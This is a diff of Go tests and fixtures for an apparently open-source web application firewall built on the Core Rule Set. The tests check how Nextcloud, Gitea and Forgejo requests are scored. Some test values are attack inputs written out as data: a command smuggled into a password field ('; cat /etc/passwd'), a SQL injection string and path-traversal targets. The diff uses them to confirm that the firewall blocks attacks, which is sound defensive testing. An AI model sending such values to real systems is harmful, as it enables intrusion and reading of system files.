{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"}, {"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"}, {mediawikiAPI + "?action=edit", "text=python3"},
} { } {
r := request{ r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
http.MethodPost,
sent.target + "&" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field) got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
+3 -2
View File
@@ -5,8 +5,9 @@
# switches off, so this file is loaded before the Core Rule Set's rules. Each # switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body # comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only # applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site # while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
# root and under /index.php/, where a Nextcloud without pretty URLs serves them. # at the site root and under /index.php/, where a Nextcloud without pretty URLs
# serves them.
# #
# Four rules read a search or a name as a command or a system file: # Four rules read a search or a name as a command or a system file:
# 930120: .htaccess # 930120: .htaccess
+29 -156
View File
@@ -13,7 +13,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5 const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page. // nextcloudSignIn is the sign-in page.
@@ -107,12 +107,7 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPut, nextcloudUsers + "/admin", http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`, jsonBody, `{"key":"headline","value":"%s"}`,
}, },
{ {http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
http.MethodPost,
"/ocs/v2.php/cloud/groups",
jsonBody,
`{"groupid":"%s"}`,
},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
@@ -120,42 +115,17 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPost, "/apps/theming/ajax/updateStylesheet", http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`, jsonBody, `{"setting":"slogan","value":"%s"}`,
}, },
{ {http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
http.MethodPost, {http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
nextcloudSave,
jsonBody,
`{"filePath":"/%s/Readme.md"}`,
},
{
http.MethodPost,
"/remote.php/dav/systemtags/",
jsonBody,
`{"name":"%s"}`,
},
{ {
nextcloudSearch, "/remote.php/dav/", xmlBody, nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` + `<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` + `<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`, `</d:like></d:where></d:basicsearch></d:searchrequest>`,
}, },
{ {nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
nextcloudMkcol, {nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
nextcloudCalendars + "work", {nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcol,
nextcloudAddressBooks + "team",
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcalendar,
nextcloudCalendars + "work/",
xmlBody,
nextcloudNewCalendar,
},
} }
// The WebDAV methods that make a calendar or an address book. // The WebDAV methods that make a calendar or an address book.
@@ -217,12 +187,7 @@ var nextcloudDocument = nextcloudBody{
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{ var nextcloudTexts = []nextcloudBody{
nextcloudDocument, nextcloudDocument,
{ {http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
http.MethodPost,
"/remote.php/dav/comments/files/1",
jsonBody,
`{"message":"%s"}`,
},
{ {
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody, nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` + `<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
@@ -230,12 +195,7 @@ var nextcloudTexts = []nextcloudBody{
`</d:propertyupdate>`, `</d:propertyupdate>`,
}, },
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{ {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
http.MethodPost,
nextcloudShares,
jsonBody,
`{"path":"/Notes","note":"%s"}`,
},
{ {
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1", http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s", formData, "note=%s",
@@ -263,10 +223,7 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
// nextcloudBodyScore returns the request that sends value, which is not // nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it. // escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore( func nextcloudBodyScore(
t *testing.T, t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
crs *coreruleset.CoreRuleSet,
sent nextcloudBody,
value string,
) (string, int) { ) (string, int) {
t.Helper() t.Helper()
@@ -301,11 +258,7 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
scores := map[string]int{} scores := map[string]int{}
for _, target := range nextcloudQueryFields { for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect( scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
t,
crs,
get(target+value),
).Score
} }
for _, sent := range nextcloudFormFields { for _, sent := range nextcloudFormFields {
@@ -397,23 +350,11 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
{"/apps/user_ldap/renewpassword", formData, change}, {"/apps/user_ldap/renewpassword", formData, change},
{"/index.php/apps/user_ldap/renewpassword", formData, change}, {"/index.php/apps/user_ldap/renewpassword", formData, change},
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change}, {"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{ {"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
formData,
change,
},
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery}, {"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{ {"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
"/index.php/apps/encryption/ajax/changeRecoveryPassword",
formData,
recovery,
},
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery}, {"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{ {"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
"/index.php/apps/encryption/ajax/adminRecovery",
formData,
adminRecovery,
},
{"/login/confirm", jsonBody, password}, {"/login/confirm", jsonBody, password},
{"/index.php/login/confirm", formData, password}, {"/index.php/login/confirm", formData, password},
{"/lostpassword/set/AbCdEf/alice", jsonBody, password}, {"/lostpassword/set/AbCdEf/alice", jsonBody, password},
@@ -439,7 +380,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
func TestNextcloudUserPasswordInValuePasses(t *testing.T) { func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t) crs := readingBodies(t)
target := nextcloudUsers + "/alice" target := nextcloudUsers + "/alice"
@@ -468,12 +409,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, jsonPassword("; cat /etc/passwd")}, {jsonRequest, jsonPassword("; cat /etc/passwd")},
} { } {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
t.Errorf( t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
"%s %.40s refused: %+v",
sent.r.headers[0],
sent.body,
got,
)
} }
} }
@@ -488,12 +424,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`}, {jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
} { } {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
t.Errorf( t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
"%s %.40s let through: %+v",
sent.r.headers[0],
sent.body,
got,
)
} }
} }
@@ -521,12 +452,7 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
document := "Backup steps:\n\n" + nextcloudCodeBlock document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore( request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
t,
readingBodies(t),
nextcloudDocument,
document,
)
if score >= nextcloudThreshold { if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
@@ -573,10 +499,7 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
cookie := func(value string) request { cookie := func(value string) request {
return get( return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
"/apps/files/",
"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
)
} }
for _, value := range hardValues { for _, value := range hardValues {
@@ -633,40 +556,20 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
// MKCALENDAR only where the calendars are. // MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} { for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult( wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(),
)
} }
for _, target := range []string{ for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/", nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/", "/x/remote.php/dav/calendars/",
} { } {
wantResult( wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(911100),
)
} }
// PROPFIND, and no other WebDAV method, where a client asks for them. // PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} { for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult( wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
t, wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
crs,
request{nextcloudPropFind, target, nil},
matched(),
)
wantResult(
t,
crs,
request{nextcloudMkcol, target, nil},
matched(911100),
)
} }
other := request{nextcloudPropFind, "/.well-known/other", nil} other := request{nextcloudPropFind, "/.well-known/other", nil}
@@ -700,12 +603,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
} { } {
sent := described.sent sent := described.sent
request, score := nextcloudBodyScore( request, score := nextcloudBodyScore(t, crs, sent, described.description)
t,
crs,
sent,
described.description,
)
if score >= nextcloudThreshold { if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
@@ -727,12 +625,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
// An MKCOL on the calendars' paths skips only the rules for names. // An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/" sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore( request, score = nextcloudBodyScore(t, crs, sent, described.description)
t,
crs,
sent,
described.description,
)
if score < nextcloudThreshold { if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score) t.Errorf("%s let through: %d", request, score)
} }
@@ -768,10 +661,7 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"}, []string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
}, },
} { } {
if got := inspect(t, crs, refused); !slices.Contains( if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
got.RuleIDs,
920530,
) {
t.Errorf("%s %s %q let through: %+v", t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got) refused.method, refused.target, refused.headers, got)
} }
@@ -812,12 +702,7 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
} { } {
got, _ := inspectBody(t, crs, refused, upload.body) got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold { if got.Score < nextcloudThreshold {
t.Errorf( t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
"%s %s let through: %+v",
refused.method,
refused.target,
got,
)
} }
} }
} }
@@ -828,13 +713,7 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
methods := []string{ methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
http.MethodGet,
http.MethodPut,
nextcloudPropFind,
"MOVE",
"LOCK",
}
for _, method := range methods { for _, method := range methods {
for _, target := range []string{ for _, target := range []string{
@@ -922,13 +801,7 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body) got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold { if got.Score < nextcloudThreshold {
t.Errorf( t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
"%s %s %s let through: %+v",
sent.method,
sent.target,
sent.body,
got,
)
} }
} }
} }
+7 -10
View File
@@ -50,7 +50,7 @@ func giteaRequests(t *testing.T) []request {
func TestOrdinaryGiteaRequestsPass(t *testing.T) { func TestOrdinaryGiteaRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := atDefaults(t) crs := atDefaults(t)
@@ -110,7 +110,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
func wantRecordedRequestsPass(t *testing.T, name string) { func wantRecordedRequestsPass(t *testing.T, name string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t) defaults, bodies := atDefaults(t), readingBodies(t)
@@ -125,14 +125,11 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
t.Errorf("%s %s refused: %+v", r.method, r.target, got) t.Errorf("%s %s refused: %+v", r.method, r.target, got)
} }
typed := slices.ContainsFunc( typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
recorded.Headers, name, _, _ := strings.Cut(header, ":")
func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type") return strings.EqualFold(name, "Content-Type")
}, })
)
if recorded.Body == "" && !typed { if recorded.Body == "" && !typed {
return return
} }
@@ -159,7 +156,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
func TestOrdinaryForgejoRequestsPass(t *testing.T) { func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := atDefaults(t) crs := atDefaults(t)
-213
View File
@@ -190,215 +190,6 @@
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
